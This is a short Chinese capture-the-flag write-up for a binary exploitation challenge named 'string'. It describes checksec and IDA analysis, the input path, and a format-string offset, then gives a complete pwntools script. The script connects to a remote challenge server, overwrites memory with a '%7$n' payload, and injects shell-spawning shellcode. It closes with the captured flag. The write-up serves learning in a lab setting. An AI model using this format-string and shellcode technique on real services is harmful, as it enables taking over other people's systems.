解析
先checksec一下,发现除了PIE全开。
拖入ida中看一下有什么,对照运行时候的状态。
之后进入了sub_400D72这个函数里面,参数是v4,也就是secret的地址
之后到了这里,这里输入的长度,不可以超过0xc的长度,也就是12位的长度,之后继续往下走。
到了这里,发现输入east可以继续走下去,如果输入up会进入一个循环,继续往下走。
到了,这里,发现输入1才可以往下继续运行注意ida里面的红框,最下面那个是格式化字符串发生的地方,那么就先找偏移。
可以知道偏移是8,那么脚本可以写了。
脚本
from pwn import *
#p = process('./string')
p =remote('111.200.241.244',61639)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p.recvuntil(b"secret[0] is")
secret = int(p.recv(7),16)
print(secret)
p.sendlineafter(b'name be:\n',b'aaaaa')
p.sendlineafter(b'east or up?:\n',b'east')
p.sendlineafter(b'leave(0)?:',b'1')
p.sendlineafter(b'\'Give me an address\'',str(secret))
p.sendlineafter(b'And, you wish is:\n',b'a'*85+b'%7$n' )
p.sendline(asm(shellcraft.sh()))
p.interactive()
获得flag是cyberpeace{34a2d5d30934957e820d19a1b058c127}